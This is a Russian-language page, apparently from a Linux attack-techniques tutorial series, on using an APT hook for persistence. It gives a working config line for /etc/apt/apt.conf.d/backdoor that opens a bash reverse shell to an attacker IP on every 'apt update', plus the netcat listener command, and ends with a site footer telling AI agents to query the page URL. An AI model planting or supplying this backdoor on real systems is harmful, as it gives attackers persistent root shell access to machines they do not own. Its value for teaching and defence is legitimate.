# 09 - APT

APT —  менеджер пакетов в системах на базе Debian. У APT и других менеджеров пакетов есть концепция под названием «hook», которая используется для каких-либо действий до установки пакетов, после установки, удаления или обновления.\
Возможностью хуков мы и воспользуемся.\
Мы создадим хук, который будет отдавать на reverse shell каждый раз когда сработает триггер update.

```bash
// Правим /etc/apt/apt.conf.d/backdoor
APT::Update::Pre-Invoke {"bash -c 'bash -i >& /dev/tcp/192.168.140.128/9010 0>&1'"};
```

```bash
// Не забываем поднять на хосте атакующего netcat
nc -nvl 9010
```

Теперь при каждой попытке обновить систему (apt update / apt-get update) мы будем получать шелл.

<figure><img src="/files/lVMrvVdGEFMf3bVPhpE1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/09-apt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
